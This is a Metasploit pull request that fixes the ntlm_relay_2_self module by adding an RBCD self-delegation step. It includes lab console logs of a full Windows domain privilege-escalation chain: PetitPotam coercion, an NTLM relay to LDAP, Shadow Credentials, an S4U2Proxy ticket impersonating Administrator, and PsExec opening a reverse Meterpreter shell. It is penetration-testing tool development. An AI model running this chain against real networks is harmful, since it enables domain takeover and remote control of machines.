Skip to content

NtlmRelay2Self module fix check for self delegation via rbcd module#21647

Open
jheysel-r7 wants to merge 4 commits into
rapid7:masterfrom
jheysel-r7:fix/ntlmrelay2self/add_rbcd
Open

NtlmRelay2Self module fix check for self delegation via rbcd module#21647
jheysel-r7 wants to merge 4 commits into
rapid7:masterfrom
jheysel-r7:fix/ntlmrelay2self/add_rbcd

Conversation

@jheysel-r7

@jheysel-r7 jheysel-r7 commented Jul 5, 2026

Copy link
Copy Markdown
Contributor

Description

This PR adds a call to the rbcd module to update the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the machine account we're targeting in the ntlm_relay_2_self module to allow for self delegation.

Shadow Credentials allows the operator to get a TGT via PKINIT. However unlike traditional constrained delegation, a computer account cannot inherently use S4U2Proxy to delegate to itself unless a Resource-Based Constrained Delegation relationship is explicitly defined.

This is a requirement in order to request a TGS impersonating the administrator as the machine account. If this attribute is not set operators will encounter a KDC_ERR_BADOPTION (13) error.

Why wasn't this an issue before?

Originally the ntlm_relay_2_self module was calling the rbcd module, updating the attribute, and then removing the added entry on clean up. Towards the end of the module review I though this might be unnecessary and deleted the call to the rbcd module. It appears as thought the REMOVE action in the rbcd module is broken, so the msDS-AllowedToActOnBehalfOfOtherIdentity stayed in my environment and continued to allow the module to work.

Breaking Changes

None

Reviewer Notes

Please see the comment I left regarding the shadow creds fix.

Testing Evidence

Before

(This output includes the shadow credentials fix)

msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 1.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/UYPvr4TRLABS
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\OCqdq\9ljHu0e.bSa...
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 2 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260706100948_default_172.16.199.200_windows.ad.cs_516522.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 45e2468f-43d6-ba07-d787-42d725cac036
[*] Shadow Credentials successfully added (Device ID: 45e2468f-43d6-ba07-d787-42d725cac036).
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[-] Auxiliary aborted due to failure: unknown: Kerberos Error - KDC_ERR_BADOPTION (13) - KDC cannot accommodate requested option
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: 45e2468f-43d6-ba07-d787-42d725cac036)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 45e2468f-43d6-ba07-d787-42d725cac036
[+] Successfully removed KeyCredentialLink with Device ID: 45e2468f-43d6-ba07-d787-42d725cac036
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:7364
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[-] minion1.kerberos.issue:445 - Failed to load a usable credential from ticket file: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[-] minion1.kerberos.issue:445 - Attempt failed to find a valid credential in /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin for realm="kerberos.issue", sname=nil, sname_hostname="minion1.kerberos.issue":
[-] minion1.kerberos.issue:445 -   Filtered credential /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin #1 reason: SPN (minion1.kerberos.issue) hostname does not match (spn: minion1$/)
[-] minion1.kerberos.issue:445 - Attempt failed to find a valid credential in /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin for realm="kerberos.issue", sname="krbtgt/kerberos.issue", sname_hostname=nil
[-] minion1.kerberos.issue:445 -   Filtered credential /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin #1 reason: SPN (krbtgt/kerberos.issue) does not match (spn: minion1$)
[-] minion1.kerberos.issue:445 - Exploit failed: Rex::Proto::Kerberos::Model::Error::KerberosError Failed to load a usable credential from ticket file: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin

After

msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 10.
msf exploit(windows/local/ntlm_relay_2_self) > 
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/bPMVhaWN3sQbA
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\KjcL\txCOGF.obW...
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 9 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 9
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260706091716_default_172.16.199.200_windows.ad.cs_783627.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 330b183f-9ae0-4660-e497-92ec863849c8
[*] Shadow Credentials successfully added (Device ID: 330b183f-9ae0-4660-e497-92ec863849c8).
[*] Loading admin/ldap/rbcd to check RBCD for minion1$...
[*] minion1$ not found in msDS-AllowedToActOnBehalfOfOtherIdentity. Writing RBCD delegation...
[*] Running admin/ldap/rbcd WRITE: DELEGATE_FROM=minion1$ -> DELEGATE_TO=minion1$
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Added account:
[*]   S-1-5-21-2324486357-3075865580-3606784161-2604 (MINION1$)
[+] Successfully configured RBCD for minion1$.
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_484711.bin
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: 330b183f-9ae0-4660-e497-92ec863849c8)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 9
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 330b183f-9ae0-4660-e497-92ec863849c8
[+] Successfully removed KeyCredentialLink with Device ID: 330b183f-9ae0-4660-e497-92ec863849c8
[*] Removing RBCD delegation for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] No DACL ACEs matched. No changes are necessary.
[+] RBCD delegation removed for minion1$.
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:4454 
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[*] minion1.kerberos.issue:445 - Patching sname from CIFS/minion1.kerberos.issue to cifs/minion1.kerberos.issue
[*] minion1.kerberos.issue:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] minion1.kerberos.issue:445 - Selecting PowerShell target
[*] minion1.kerberos.issue:445 - Executing the payload...
[+] minion1.kerberos.issue:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 172.16.199.130
[*] Meterpreter session 10 opened (172.16.199.1:4454 -> 172.16.199.130:49930) at 2026-07-06 09:17:29 -0700

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@jheysel-r7 jheysel-r7 marked this pull request as ready for review July 6, 2026 18:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants